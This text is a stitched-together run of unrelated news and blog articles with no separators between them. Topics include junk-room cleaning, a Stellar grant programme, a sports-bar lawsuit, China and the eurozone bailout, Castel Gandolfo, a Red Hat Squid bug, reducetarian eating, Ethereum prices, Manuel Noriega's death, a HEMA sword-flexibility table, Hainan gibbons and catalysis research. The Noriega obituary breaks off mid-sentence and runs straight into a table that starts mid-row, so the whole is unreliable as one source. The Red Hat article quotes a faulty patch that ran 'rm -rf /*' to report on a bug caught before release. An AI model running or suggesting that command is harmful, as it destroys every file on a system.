What I’m saying here is that “junk rooms” happen. They may or may not have a door. They may or may not be your primary living space. But almost everyone, at one time or another, has had a rather large space that they stop registering as being full of crap that needs to be dealt with and that they just ignore. So what happens when you finally decide to deal with the junk room?
Well, first of all, if this is where you’ve been stashing stuff you don’t know what to do with, prepare yourself for having to finally and once and for all deal with those things. So you should have boxes or trash bags ready, and possibly also have solid plans for a donation drop-off or pick-up if you anticipate having a lot of things to donate.
From there, you’re going to approach it like any other UfYH project: methodically and with breaks. Accept that it’s probably going to take a while, and pace yourself. Don’t try to do the whole thing at once, or else you’ll burn out and never finish.
And as silly as it seems, cleaning it is the easy part. Keeping it clean is hard. That may mean you leave the door open so you can’t ignore it, or you put some kind of physical block (like a piece of furniture) where the biggest mess tends to happen; everyone’s situation is different. But like any of our messes, cleaning it once doesn’t make the problem go away forever. It’s a continual, incremental process that you need to put a little work into steadily in order to keep it clean.
Have a question? Submit it through our Ask Us page!
Check out the Ask UfYH archives.Stellar has announced a new initiative called the Stellar Partnership Grant Program. The program aims to “promote the development of high-impact projects in the Stellar ecosystem,” Stellar explained in a statement.
Jed McCaleb, Stellar co-founder and CTO, told Bitcoin Magazine, “Our overarching mission is to use the Stellar network to increase financial access globally and in particular to the more than 2.5 billion unbanked people in emerging markets across the world. The Stellar Development Foundation (SDF) works mainly with licensed and regulated partners, such as banks, fintech startups and remittance companies. However, the Stellar protocol is a foundational and open technology usable by anyone.”
As for the partnership program, itself, Stellar will be accepting proposals from “leading organizations that are interested in building upon Stellar's technology to improve the financial landscape and promote financial inclusion,” Stellar stated. Stellar will then grant select partners up to $2,000,000 USD per grant. This sum will be paid in Stellar Lumens coin, XLM, “ensuring the recipients are co-beneficiaries of network growth.”
As for who the program’s target will be, McCaleb said, “We are currently working with corporate entities like Deloitte and ICICI Bank, but with our partnership grant program, we’re really excited about tech-forward money transfer operators, and more generally, tech-forward non-bank financial institutions.”
“We’re looking to bring on quality long-term global partners that provide low-cost financial services, such as banking, micro-payments, and cross border payments and remittances to underserved markets that have large remittance flows,” McCaleb said. “These partners will be oriented around using the Stellar network as an integral part of their payment structure.”
Stellar has a history of encouraging development on its platform. The Stellar Build Challenge has been actively seeking out and funding new developments using their technology including wallets, ICOs, remittance applications, and much more. So far it has held four Build Challenges and awarded prizes to dozens of projects. Submissions for the final Build Challenge of 2017 are due on November 15.Sports rivalries can be so funny! It’s like why would Red Sox fans care if a Yankees fan wanted to start a bar named after a deer named Buck Foston — oh. Clever, right? Or not, but a jury said a club owner had the right to name his bar Buck Foston’s Road House and also gave him $1.5 million.
The New Jersey man had sued the city of New Brunswick, which had opposed granting him a liquor license for his new sports bar, reports the Star-Ledger. He’s a dedicated Yankees fan and wanted to open the place in 2011.
“This has been a long, grueling and expensive process to have my day in court and tell my story, but I remained confident that one day a jury, presented with the same evidence I saw, would agree that my rights were unconstitutionally infringed” the man said after a federal jury handed down the judgment.
He placed a lot of blame on the city’s mayor, who just so happens to be a dedicated Boston Red Sox fan. He claimed the mayor orchestrated the liquor license rejection by the city council, and named him and the council’s president as defendants along with the city.
The mayor said it wasn’t the tongue-in-cheek slam against the Sox that the city council opposed, it was that the location was at heavily traveled intersection in the city.
Upon hearing the verdict the mayor said he was disappointed, but “while it would have been better to win, the verdict was not for the amount [the man] was seeking” and the sports bar never opened. He said the man had wanted $7 million to $10 million in damages.
“Motorists and the surrounding neighborhood who travel the roadway will not be burdened with a night club and sports bar drinking establishment that doubles the occupancy of the former restaurant on the site located on a dangerous off-ramp connecting two major highways in New Brunswick,” the mayor said.
Meanwhile, the man behind Buck Foston’s has moved to Florida, but says he’s going to try to open a sports bar with that name concept somewhere else. Ostensibly because it’s just so original.
Club owner wins fight, $1.5 million verdict against New Brunswick in naming of sports bar [Star-Ledger]Image caption China has plenty of money and would be able to help, though it is not a given that a cash injection will be beneficial for European nations
With some $3.2 trillion (£2tn) in its foreign reserves coffers, China may well be a natural contributor to the eurozone's bailout fund.
But the fact that China is a wealthy country, and therefore able to help, does not explain why China would actually want to do so.
One obvious reason might be a desire to prevent the crisis from leading to a recession in Europe - China's biggest export market.
Moreover, if the eurozone crisis were to spread globally - just as the US mortgage crisis did in 2008 - not only could it damage China's other trade partners, but also China itself.
Beijing recently had to intervene to shore up its own banks, which many investors fear are riddled with bad debts. Another global financial crisis could leave those banks in even worse shape.
Feeling the pinch
With consumers in Europe - and indeed in the US - already scaling back consumption and repaying personal debts, the demand for stuff made in China is slowing and could stay weak for years.
Image caption China's exporters would be hit if Europe was to suffer an economic recession
On the domestic front in indebted European countries, a reduction in imports is generally deemed beneficial, as it helps reduce their trade deficits. Or to put it another way, if consumers cut back, it is better for a country if they spend less on stuff made abroad and maintain spending on goods made at home.
But of course, China is not the only one that will take a hit as global consumption and trade slows to a trickle. Exporters - especially in trade surplus countries such as China, Japan or Germany, but also in trade deficit countries - will feel the pinch.
In turn, this general reduction in global trade will cement stubbornly high unemployment levels in the industrialised world, doing little to alleviate the crisis or to reduce the risks of it spreading beyond Europe.
But to the extent that the burden of shrinking demand falls on exporters like China, that means more of the job losses will be Chinese jobs.
Indeed, as global demand weakens, there is less point in keeping up massive investment in manufacturing in China. So perhaps it would be better to invest elsewhere?
Sound investments
China has long said it is eager to invest in Europe. But there are different ways for it to do so.
Image caption Europe's weakest economies may need investment, but China is not about to get involved
The one discussed in the context of the eurozone bailout fund would be an investment in European bonds, which equates to lending money to European governments.
This is not to say China is about to lend money directly to countries that need it the most.
Buying Spanish or Italian bonds may not be a tempting proposition, while buying German bonds clearly is, as they are deemed more likely to be repaid in full.
China has made it clear that it would only want to make sound investments, so it would require guarantees.
A Chinese contribution to the European European Financial Stability Facility (EFSF) would thus, in practice, differ little from a loan to Germany.
And that, of itself, would do little to help the likes of Spain and Italy manage their finances.
Indeed, Michael Pettis, international finance professor at Beijing University, says that Europe - or at least Germany - has plenty of capital of its own, and shouldn't even need China's money.
Media playback is unsupported on your device Media caption Prof Michael Pettis, finance professor at Peking University, says Europe "shouldn't turn to poor Asian countries"
He says that if China invests more capital in Europe, it may perversely end up putting more Europeans out of work.
By increasing its total investment in the eurozone, China is likely to push up the euro's value.
And that would make the eurozone's exports less competitive in international markets and Chinese exports more competitive in Europe - hardly an outcome that will help struggling Mediterranean countries.
Direct investment
Moreover, investing in government bonds is a very different proposition from investing in assets such as buildings, factories or infrastructure - the sort of investments that would deliver economic growth and create jobs.
Such investment is hard to come by these days, and transferring eurozone government debts from Europe's banks to China is not expected to do much to alleviate the situation.
As European governments repay their loans to the banks, the cash is likely to be absorbed by banks to help them with their recapitalisation. So it may not result in fresh funds being freed up for loans to companies.
In other words, Chinese investment in European bonds may do little to bolster economic growth in Europe.
Chinese investment directly into the real economy in Europe could well have a much greater effect.
Whether European voters would welcome Chinese buyers of real estate, companies and roads at a time when prices are depressed by the ongoing crisis is another matter.
But compared with the non-tangible rewards China is likely to demand in return for formal financial support - such as an early European Union recognition as a market economy, greater voting rights within the International Monetary Fund, a lifting of a ban on European arms sales to China, or silence around the matter of China's supposed efforts to keep its currency artificially weak - that may be a small price to pay.Get the latest news and videos for this game daily, no spam, no fuss.
According to a new report, Mario factory Nintendo had the opportunity to partner with Activision to make the first Skylanders game a Nintendo-exclusive, but ultimately said "no thanks" to the venture. That's according to a Polygon report, which goes into depth about the origins of "toys-to-life" Skylanders series, now worth a whopping $2 billion.
According to the report, Activision was actively seeking out a partner for the first Skylanders game, 2011's Spyro's Adventure, and thought teaming up with Nintendo could be a good idea. Developer Toys for Bob traveled to Nintendo of America's headquarters and demonstrated an early version of the game.
"[Nintendo] spent a long time looking and looking," Toys for Bob cofounder Paul Reiche said. "They were just like 'we have never seen anything like this before.' I've always wondered about the full meaning of that comment [laughs]."
Nintendo and Activision would go on to sign a limited co-marketing deal, but Nintendo reportedly wasn't ready to go any further.
"We have no idea why," Reiche added. "Clearly, they have got properties well suited to this world. Why it is that they didn't rush in here will probably haunt them for the rest of their days."
It seems Nintendo isn't soured on the "toys-to-life" idea overall, however, as the company released a Skylanders-style game, Pokemon Rumble U, last year for the Wii U. Just like Skylanders, players can buy real-world toys and integrate them into the game world using the Wii U's NFC technology.
Also in the interview, Reiche says he was surprised that Disney responded so quickly to what Toys for Bob and Activision were doing with the Skylanders series with its own game, Disney Infinity, released last year. He still maintains that Nintendo could have left Disney in the dust.
"Nintendo could have kicked Disney's ass," Reiche said. "If I was running Nintendo I would have jumped on this."CASTEL GANDOLFO, Italy (RNS) He rejected his sumptuous Vatican apartment and chose a Ford Focus to get around town. Now Pope Francis is giving up the historic summer residence where pontiffs have holidayed for nearly 400 years.
Without ever having spent a night there, the pope ordered the apostolic palace and gardens at Castel Gandolfo, about 15 miles from Rome, be turned into a museum.
It officially opened on Friday (Oct. 21), giving the public an intimate look inside the palace where a succession of popes lived and died.
“It is an event of strong symbolic value because it represents the pastoral policy of this pope,” said Antonio Paolucci, director of the Vatican Museums, which will be responsible for running the Castel Gandolfo museum.
“His suburban villa is such a masterpiece of architecture, art and nature that so many of his predecessors lived here,” Paolucci said. “But it does not interest him.”
Since Francis was elected in 2013, he has shaken up the Catholic Church by rejecting the traditional trappings of the papacy and making his home in a simple apartment inside the Santa Marta residence at the Vatican.
He rarely seems to slow down his demanding work schedule, even in the summer months.
While Francis has visited the Castel Gandolfo palace only a couple of times since his election, Saint John Paul II (1978-2005) and Pope Emeritus Benedict XVI (2005-2013) often stayed at the hilltop palace. But not all of Francis predecessors felt a strong attachment to the place.
Benedict flew to the palace by helicopter two weeks after he announced his history-making resignation in 2013, and Francis later met him there for private talks soon after he was elected.
This is the first time the public will have the chance to see inside the plush apartment, which includes a private chapel, library and study used by successive popes from the 1600s onwards.
Visitors will also see the bed where Popes Pius XII and Paul VI died and where John Paul II recovered from an assassination attempt in St. Peter’s Square in 1981.
“It will always be a pontifical villa,” said Sandro Barbagallo, curator of the Vatican Museums’ historical collections. “It is only that Pope Francis, with his great generosity, has allowed everyone to see it.”
A former fortress, the palace has been owned by the Holy See since 1596 and has been expanded over the centuries to cover 135 acres.
It was also a refuge for 12,000 local residents who fled some of the bloodiest battles of World War II as Allied troops swept up the Italian peninsula after landing in Anzio in 1944.
The Vatican says some of the displaced were pregnant at the time and as many as 40 women gave birth on the pope’s bed itself bearing offspring dubbed “the pope’s children.”
In 2014, the expansive gardens were opened to visitors, in part to help offset the economic downturn the town had suffered since Francis decided to stay in Rome.
They contain extensive Roman ruins dating back to the reign of Emperor Domitian, who ruled from 81 to 96 A.D. and had a summer villa there. The property also features a working farm that supplies the Vatican with fresh milk, eggs, honey and produce.
Last year a weekly train service was started that allows both the Vatican and Castel Gandolfo to be seen in a daytrip. Visitors can tour the private apartment of the palazzo itself, including the Consistory Room where Pius XII made Angelo Roncalli a cardinal in 1953. Roncalli later became Pope John XXIII.Yes, the bug in the Red Hat Enterprise Linux (RHEL) 6.7 Squid web caching proxy is a bad one. As the Red Hat Bugzilla Bug 1202858 reads, "restarting testing build of squid results in deleting all files in hard-drive."
-- Red Hat
I think we can all agree that's a bad, bad bug. Soon, people were talking about it at Hacker News, numerous Reddit threads, Twitter, and on and on. Here's the thing though: Yes, it's a big, bad bug, but it was a bug that never came close to even beta testers, never mind Joe and Jane user.
RHEL 6.7 isn't even in beta yet. In fact, RHEL 6.7 doesn't even have a release date yet. This code is so fresh that if it were seafood it would still be in the ocean, never mind a fishing boat, much less your restaurant plate.
You see, this alpha version of Squid can't really do damage. Why? Because it's Never Been Released. I've written a lot of awful code in my day that could wreak havoc. Everyone has. None of those programs really matter though unless they're running on at least beta systems.
The problem first showed up in a patch that was meant to fix a problem with restarting Squid. The problem was that sometimes Squid would leave old processes running so that the new ones wouldn't start cleanly. That patch never made it into the real program because, as Pavel Šimerda, a part-time Red Hat software engineer wrote, "Warning: The patch is horribly wrong, don't use it. According to our tests, it just runs "rm -rf /*". Featured stories Foldable phones could finally push office workers away from the PC
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As all Unix and Linux users know, "rm -rf" deletes all files. It's the classic worst possible blunder a new user can make.
Šimerda also observed that the code that this "patch" was meant to fix isn't even from Red Hat's codebase at least as far back as 2004. In other words, this patch was for a problem that actually has never existed in RHEL.
Unsurprisingly this code never made it even into beta, never mind production code. For some reason though, the news of this alpha bug has become very popular.
As Adam Miller, a Red Hat senior software engineer, observed on Bugzilla, "This bug has for one reason or another started to become popular on social media so for the sake of personal sanity I would like to post this here so that I can stop replying to posts about it around the internet." He continued:
# NOTE
# At the time of this writing, RHEL 6.7 is still pre-beta and
# this bug was found in an *UNRELEASED* update to squid.
In other words, relax. Red Hat quality assurance did its job. No one, except programmers working on alpha code, will ever see this disaster of a bug in the real world.
That's not to say Linux is perfect. It's not. I'd argue Linux's security is better than Windows or Mac OS X, but as security problems such as GHOST, Shellshock, and the most recent OpenSSL bugs show Linux has its fair share of troubled software too. Red Hat Squid problem just isn't one of them.
Related Stories:For anyone who has tried to cut out meat entirely and failed, there’s a new movement which tries to take a more pragmatic approach
Unlike drinking, exercise and home cooking, being vegetarian is seen as a black-and-white deal. You either are or you aren’t. Go meat free all year and you’re a vegetarian; eat one chicken burger on New Year’s Eve and you’ve failed.
According to the Vegan Society, there were three and a half times as many vegans in 2016 as 10 years earlier. The NHS states that more than 1.2 million people in the UK are vegetarian. And a YouGov survey found that 25% of people in Britain have cut back how much meat they eat. Despite this, too many of us still hold on to the idea that to eat less meat means nothing unless you can manage to eat no meat at all.
The Vegan Society’s formal definition may be that “veganism is a way of living which seeks to exclude, as far as is possible and practicable, all forms of exploitation of, and cruelty to, animals for food, clothing or any other purpose,” but what we hear is “veganism is a way of life that ruthlessly excludes anyone who enjoys milk in their tea and will joylessly judge every element of your life until you give in and start wearing hemp.”
The reason people eat less meat isn’t for some public status, it’s because it has a meaningful impact on the world
“But we know that’s not true,” says Brian Kateman, the co-founder of the Reducetarian movement, a group committed simply to eating less meat. “We know we make choices about food every day. When a friend gave me a copy of The Ethics of What We Eat [by Peter Singer and Jim Mason], I was eating a hamburger at the time. But I read the book and I just couldn’t believe that factory farming was responsible for climate change and biodiversity loss, the poor treatment of 70m land animals worldwide, as well as the increase in heart disease, cancer, heart disease and obesity. If people were to cut back by just 10% that would be a huge win in terms of all these issues.”
Kateman is a self-described pragmatist. He grew up eating steaks and buffalo wings, but as a student decided to go vegetarian. When his sister called him out for eating a small piece of turkey at Thanksgiving, he explained his decision wasn’t about being “perfect”; it was just about trying to eat as many foods as possible that were good for his body and good for the planet.
“I’m a utilitarian,” he says. “I’m more interested in outcomes than processes. The reason people eat less meat isn’t for some badge, some public status, it’s because it has a meaningful impact on the world.”
Kateman’s philosophy certainly seems appealing. But can you really consider yourself a principled, ethical eater and still eat a piece of pork pie? “The central premise of reducetarians is that vegans and vegetarians – who have reduced their animal intake so successfully that they’re not eating any at all – are part of the same spectrum as people who are dissatisfied with factory farming and so have decided to, say, only eat meat once in a while,” says Kateman. “It’s about moderation for everyday omnivores. Every time we sit down to eat, we make a vote for the issues we care about.”
Facebook Twitter Pinterest Brian Kateman, co-founder of the Reducetarian movement. Photograph: Andrei Severny
As well as publishing a book, The Reducetarian Solution, the Reducetarian Foundation has hosted its own summit in New York. The website is full of videos, recipes and a place where fans can “pledge” to reduce how much meat they eat. Kateman has held his own Ted talk on the subject and they even have their own “Reducetarian Lab” where they conduct behavioural studies into how best to reduce meat consumption.
Since the rise in “neo hippies” with their Instagram-friendly vegan breakfast bowls, being vegetarian or vegan has become fashionable, rather than simply well-meaning. “There’s a very small percentage of people who are loud and annoying,” says Kateman. “But most vegans and vegetarians are wonderful people who understand we should be pragmatic about this. Making meaningful changes to our diet seems to be the way to go. Part of what we do is explain that plant-based foods can be delicious, affordable and easy to find. We celebrate anyone who decides to reduce the number of animal products they eat – and the motivation doesn’t matter.”
According to the reducetarians, to eat less meat is an accomplishment; but to eat meat occasionally isn’t a failure. You cannot “fail” at trying to eat better; and you’re not a hypocrite if you do your best. Are reducetarians just vegans without the willpower? Or, are they simply doing what they can do without the resolution-snapping burden of guilt? Let they who hath not buttered a crumpet cast the first stone.
For more information, go to reducetarian.orgEveryone within the cryptocurrency community has been following the significant jump in Bitcoin’s price over the past week as it has reached roughly $700- per BTC. However, eyes have also been laser focused on the programmable Turing complete cryptocurrency Ethereum. At press time, the value of one Ether is at its highest point ever at $18.50 USD per ETH with a large market capitalization of close to $1.5 billion dollars.
Things are moving along in the land of the Ethereum ecosystem as the value has jumped exponentially. Some say this has to do with Bitcoin’s rise as most altcoins have followed suite with the current top cryptocurrency every time. Back in 2013’s wild ride Litecoin also followed Bitcoin’s rise achieving nearly $50 USD per LTC at the time. Despite this, many would agree that the Ethereum blockchain and native token is vastly different than most of the common altcoins.
Just recently Microsoft (NASDAQ:MSFT) has announced it will be sponsoring the Ethereum Foundation’s Devcon 2 event coming September 19-21 in Shanghai. The conference is in partnership with Wanxiang Blockchain Labs and will be double billed with the Blockchain Summit held in the region. Microsoft is now a premiere sponsor for the event, and the Foundation’s members are pleased to announce the sponsorship. Ethereum’s inventor Vitalik Buterin said in the announcement:
“We are very happy to have Microsoft’s sponsorship for Devcon2 and highly appreciate their continued support and collaboration with the Ethereum Foundation and the Ethereum ecosystem. We look forward to continuing to work together in the future.”
Alongside the news with Microsoft, rumor has it the multinational audit agency PricewaterhouseCoopers (PwC) is researching a blockchain and a possible Ethereum-based insurance prototype. The proof-of-concept aims to reform the wholesale insurance industry with blockchain powered immutability and transparency. The company is not the only one interested in using Ethereum-like protocols to the insurance table, as the French company Axa is also focused on a similar application. PwC has been onboard with the technological innovations blockchains will bring to the world in the coming years for a while now. In its recent fintech report the firm states:
“Blockchain is a new technology that combines a number of mathematical, cryptographic and economic principles in order to maintain a database between multiple participants without the need for any third party validator or reconciliation. In simple terms, it is a secure and distributed ledger. Our insight is that blockchain represents the next evolutionary jump in business process optimisation technology. Just as Enterprise Resource Planning (ERP) software allowed functions and entities within a business to optimise business processes by sharing data and logic within the enterprise, blockchain will allow entire industries to optimise business processes further by sharing data between businesses that have different or competing economic objectives.”
Lots of good news continues to swarm around the Ethereum landscape daily, and not many people complain about its recent rise in value other than maximalists. Lots of interesting development is coming out of the programmable Turing complete cryptocurrency’s environment. The DAO is continuing to make improvements on its proposal operations, and recently a decentralized hedge fund DAO was just announced. The formation is its own decentralized autonomous organization that functions by “issuing dividends, reinvestments, vote on proposals are hard coded into the contract and executed on the network.” It is safe to say that many eyes are also watching the Ethereum project at the same time as Bitcoin’s sudden rise. With the help of constant development and legacy institutions like Microsoft backing Ethereum-based platforms and events, the rise may continue.
Source: Various Ethereum threads
Images: Crypto-graphics.comFormer Panamanian Dictator Manuel Noriega Dies At 83
Enlarge this image toggle caption AP AP
Military commander, drug trafficker, CIA informant, dictator, convicted murderer: The strongman Gen. Manuel Noriega wore many labels during his tortuous path to — and fall from — the heights of power in Panama. Announcing Noriega's death at age 83 Tuesday, Panama's president said it "closes a chapter in our history."
Panama's President Juan Carlos Varela announced Noriega's death via Twitter. And while the cause of death wasn't immediately reported, Noriega had recently been dealing with complications from brain surgery; in March, it was reported that he was in a coma.
The era in which Noriega exercised absolute control over Panama is long past — but his ill-fated reign continues to cast a long shadow both in his home country and the United States, with whom he had a complex relationship.
At the time of his death in a Panama City hospital, Noriega was serving a prison sentence for corruption and having opponents killed.
Varela said Noriega's daughters and other family members "deserve a funeral in peace."
Rise to power
As he clawed his way out of an impoverished childhood, Noriega looked first not to the military, but the medical profession for his preferred profession. It was only after he was denied admission from medical school as a young man — likely because of his financial circumstances — that Noriega continued his studies at a military academy in Peru.
When he returned to Panama to begin his military career in earnest, he went into the intelligence services, where he quickly cultivated a stellar reputation among his fellow officers.
Noriega "possessed the uncanny ability to absorb information, size up the options available to an adversary, place himself in the other person's shoes and astutely anticipate probable courses of action," says John Dinges, author of the Noriega biography Our Man in Panama.
Enlarge this image toggle caption Bill Gentile/Corbis/Getty Images Bill Gentile/Corbis/Getty Images
By the '70s, Noriega had parlayed that ability into a burgeoning relationship with U.S. intelligence services — and with various gun- and drug-running cartels, including infamous Colombian narcotrafficker Pablo Escobar. Indeed, Noriega was so trusted by the U.S. that, as CNN notes, the U.S. government requested that he travel to Cuba to seek the release of "two American freighters seized by Cuba" in 1971.
As the decade wore on, the CIA paid Noriega for information even as Noriega climbed the ranks of his own country's military intelligence division, ultimately becoming its chief officer and one of the principal lieutenants of Panama's strongman at the time, Omar Torrijos.
After Torrijos died in a plane crash in 1981 — a crash that later engendered suspicions of foul play — Panama descended into a two-year struggle to fill the power vacuum Torrijos left behind.
Noriega emerged from the free-for-all with the mantle of commander of the combined Panamanian Defense Forces in 1983 — and in doing so, assumed absolute power in all but official name.
The de facto dictator would leave those official (and empty) titles to the series of puppet civilian presidents whose electoral victories he'd help engineer behind the scenes, a convenient fiction he would maintain until the twilight of his rule in 1989.
Enlarge this image toggle caption Matias Recart/AP Matias Recart/AP
A fall from great heights
It wasn't long before Noriega's benefactor, the U.S., would turn on him, however. Evidence of the Panamanian dictator's extrajudicial killings and dealings with drug cartels mounted until it was nearly impossible to ignore — no matter how helpful he had proved to the CIA in the past.
By 1986, reports were circulating in the U.S. that Noriega had spearheaded the gruesome torture and murder of a high-profile rival and that he was now earning a payday from Eastern European governments for U.S. secrets. The U.S. Congress ended economic aid and military assistance to Panama |
(plastic crossguard) Synthetic 4 Rounded 0.82 3.40 TVC Red Dragon Armoury Rawlings Longsword (steel crossguard) Synthetic 4 Rounded 1.18 3.59 TVC Red Dragon Armoury Rawlings Broadsword Synthetic 5 Rounded 0.73 3.26 TVC Red Dragon Armoury Rawlings Messer Synthetic 4 Thickened 0.71 4.01 TVC Regenyei Armory “Museum” Replica Feder Steel 1 Spatulated 1.48 7.72 TVC Regenyei Armory Montante 1st generation Steel <1 Rolled point 2.55 16.10 TVC Regenyei Armory Standard “Medium” Feder Steel New Rolled 1.39 8.75 LH Regenyei Armory Standard “Heavy” Feder Steel New Rolled 1.65 18.2 LH Regenyei Armory Standard “Heavy” Feder Steel 2 Rolled 1.46 11.64 LH Regenyei Armory Standard “Heavy” Feder Steel 2 Rolled 1.66 15.28 LH Regenyei Armory Standard “Heavy” Feder Steel 3 Rolled 1.48 11.76 TVC Regenyei Armory Standard “Heavy” Feder Steel 3 Rolled Rubber 1.43 12.84 TVC Regenyei Armory Standard “Heavy” Feder Steel 4 Rolled Rubber 1.40 12.80 SdA Regenyei Armory Standard “Heavy” Feder Steel 4 Rolled Rubber 1.30 12.40 SdA Regenyei Armory Standard “Heavy” Feder Steel 4 Rolled 1.30 12.20 SdA Regenyei Armory Standard “Heavy” Feder Steel <1 Rolled Rubber 1.50 15.30 SdA Regenyei Armory Standard “Heavy” Feder Steel <1 Rolled 1.50 15.30 SdA Regenyei Armory Standard “Heavy” Feder Steel <1 Rolled 1.50 14.10 SdA Regenyei Armory Standard “Heavy” Feder Steel 1 Rolled 1.40 17.00 CB Regenyei Armory Standard “Heavy” Feder Steel 1 Rolled 1.42 15.40 MCG Regenyei Armory Standard “Heavy” Feder Steel 3 Rolled 1.42 13.60 MCG Regenyei Armory Custom “Heavy” Feder Steel 3-4 Rolled Rubber 1.42 12.34 TVC Regenyei Armory Custom “Heavy” Feder Steel 3-4 Rolled 1.42 14.36 TVC Regenyei Armory Standard I:33 Steel 2 Rolled 1.09 12.30 LH Regenyei Armory Black Feder Steel <1 Rolled 1.47 13.84 TVC Regenyei Armory Tranava “Light” Steel 3 Rolled 1.70 13.00 SotW Regenyei Armory Trnava “Heavy” Steel 2-3 Rolled 1.76 11.97 TVC Regenyei Armory Trnava “Heavy” Steel 1 Rolled 1.70 13.40 SdA Regenyei Armory One-Handed Sword XI Steel 4 Rolled Rubber 1.10 14.80 SdA Regenyei Armory One-Handed Sword XI Steel 4 Rolled Rubber 1.10 14.50 SdA Regenyei Armory Messer Steel 2 Rounded 1.00 15.20 SdA Regenyei Armory Custom Messer Type I Steel 3 Rolled 0.82 15.4 MCG Szymon Chlebowski Feder Steel <1 Rolled 1.50 9.00 SotW Szymon Chlebowski Feder Steel 2 Rolled 1.60 10.10 SotW Viktor Berbekucz Feder Steel <1 Rolled 1.35 8.18 TVC Viktor Berbekucz Sabre Steel 2 Rolled Rubber 0.81 11.12 TVC
This table shows that the more flexible swords do have a lower score for this test, and the stiffer swords to have a higher score for this test. This means that, regardless whether or not the test is “good physics” or if it “measuring the right thing” or not, it does nonetheless allow us to measure and rank swords by flexibility in a very similar way to how fencers will typically test a sword for flexibility when picking it up for the first time. The method is also very fast and very easy, and digital scales are not difficult to find.
Given the results in the table above, I would suggest that for a longsword, a “safe” range of flexibility would be around 6-14 kg, although a score beneath 7 kg may indicate that the sword is somewhat floppy. Swords scoring above 13 kg are perhaps a bit too stiff to be entirely safe, particularly in a tournament setting where adrenaline is running high and people are likely to throw themselves forward with as much explosive force as they can generate, to try and score the point. While of course any sword can be used safely during training, by reducing the intensity of the practice, tournaments are renowned for being high intensity environments.
While it is unlikely that even a very powerful thrust with a very stiff sword will result in a penetrative injury through the jacket, it is entirely possible that too strong a thrust with too stiff a sword will result in a broken rib, or a broken sternum. Furthermore, the mesh of the masks is only rated to withstand up to 600 N or 1000 N of force (CEN levels 1 and 2 respectively);[4] the stiffer the sword, the more force will be transmitted directly from the thrust to the fencing mask (and to the head within the mask, potentially causing a whiplash effect or even concussion)[5] and the higher the chance of the mask failing; the more flexible the sword, the less force will be transmitted in a thrust, and therefore the lower the chance of trauma to the brain and the lower the chance of a mask failing.
Since thrusts to the face are a common technique in HEMA, it would be a mistake to ban such actions. However, it is clear that it is also a mistake to let people with superb athletic ability throw themselves at each other as fast as they can, stabbing each other in the fencing mask, with stiff and unforgiving blades. As with just about everything in life, moderation is the key. Since people will push themselves to move as fast as they can in a tournament, the equipment needs to help keep people safe. Therefore, the swords must be able to flex. They should not be wobbly and whippy, as that will have a negative impact on other elements of the fencing, but they should flex under a reasonable pressure; hence the need for a “safe” range of measurements.
If you would like to contribute to this article, and especially if you have a type of longsword that is not represented in the table, please do measure your swords according to this method, and send me a note of all the relevant details. I will include it in the table above, and hopefully we can make available a broad list of values for better discussion of the topic.
Footnotes:
[1] The original video from Black Fencer to explain what they mean by “static flexibility” can be found on YouTube: Understanding Black Fencer Flexibility
[2] Please see my article “Safe training swords part 1: tipping solutions” for an explanation of the terminology I prefer to use for points and tips.
[3] Different people performing the measurements will of course come up with slightly different values depending on their scales and what they decide to count as the blade “no longer being straight” during the measurement. Therefore, each line in the table is marked to show where the measurement came from:
– “TVC” means The Vanguard Centre in Glasgow; measurements by Keith Farrell in January 2017.
– “SdA” means La Sala delle Armi in Turin; measurements by Dave Gallo in February 2017.
– “MCG” means the Medieval Combat Group in Belfast; measurements by Ross Bailey in March 2017.
– “SotW” means Swords of the West in Galway; measurements by Frank Haj in March 2017.
– “CB” means Cork Blademasters in Cork; measurements conducted by Andrzej Rozycki in April 2017.
– “LH” means Liverpool HEMA in Liverpool; measurements by Keith Farrell in April 2018.
My thanks to my friends in these clubs for adding their measurements to the table and giving me their thoughts on this article!
[4] For more information on the construction of fencing masks and what the different ratings mean, please see my article on the subject: Construction of a Fencing Mask (.pdf download)
[5] For more information about concussions and “dementia pugilistica” in HEMA, please see my article on the subject: Dementia Pugilistica in HEMA (.pdf download)Scientists are racing to save a critically endangered ape species that lives only in the rainforests of southern China’s Hainan island. With 25 known individuals remaining, a disease outbreak or a strong typhoon could “massively impact” the species’s chances of survival, the scientists say.
Samuel Turvey, a senior research fellow at the Zoological Society of London, said the Hainan gibbon was “definitely the world’s rarest ape species, the rarest primate species, and one of the rarest mammal species. They’re kind of clinging on, literally and metaphorically, to patches of forest in the mountains which people haven’t gotten around to cutting down yet.”
He said both the species and its habitat were protected under Chinese law, but “the population is so low now that simply removing the threat isn’t enough … If by chance one or two of them die from disease, or a typhoon, their chance of recovery [would be] massively impacted.”
Turvey added: “The Hainan gibbon can become one of the world’s conservation success stories if everyone works together and the right steps are carried out.”
Hainan is China’s smallest and southernmost province, an island of rainforests, mountains and sandy beaches in the South China Sea. The gibbons – gangly creatures with small black faces and thick beige fur – live in the Bawangling national nature reserve, a 26 sq mile swath of rainforest more than 120 miles from the provincial capital, Haikou.
The reserve was home to more than 2,000 gibbons in the late 1950s, but poachers and loggers slowly encroached on the area, leaving only 30 or so left by 1980, when the Chinese government declared the park a protected area.
Greenpeace China’s forest campaigner Wu Hao said the island – one of China’s most biodiverse regions – lost 72,000 hectares of rainforest between 2000 to 2010, mostly to make way for rubber and paper plantations. “The plantations are still there, which is actually still a big problem for the nature reserve, for the gibbon and for other species,” he said.
In March, Turvey helped to organise a meeting attended by more than 100 experts – government officials, businesspeople, NGO workers – at an international forum in the Hainan town of Bo’ao.
“Firstly, we need to better know what’s happening on the ground in Hainan,” said Turvey. The gibbons often break from their social groups in adulthood, lowering the chances that they’ll reproduce. “We want to use visual monitoring, bioacoustics, things like that to get a more robust picture of what’s happening to these individuals, why they’re not forming social groups,” he said.
Experts are also searching for individual gibbons that might inhabit far-flung patches of forest, where none have been previously observed. “Every one of those gibbons is worth its weight in gold for conservation,” he said. “The more gibbons there are left, the greater the chances that we can recover this population.”Much like two children in the back seat of a car, it can be challenging to get two catalysts to cooperate for the greater good. Now Northwestern University chemists have gotten two catalysts to work together on the same task -- something easily done by nature but a difficult thing to do in the laboratory.
The findings, published by the journal Nature Chemistry, will allow medicinal chemists to invent new reactions and produce valuable bioactive compounds faster with less impact on the environment.
Catalysis is inherently green chemistry. Catalytic reactions typically employ a single molecule (a catalyst) to enhance a reaction or make a reaction possible that wouldn't otherwise be possible. Since a catalyst only needs to be used in very small amounts, the potential to control chemical processes while reducing waste makes catalysis very attractive. The Northwestern team wanted to see if they could turn a good thing -- a single catalyst -- into something even better by employing two catalysts.
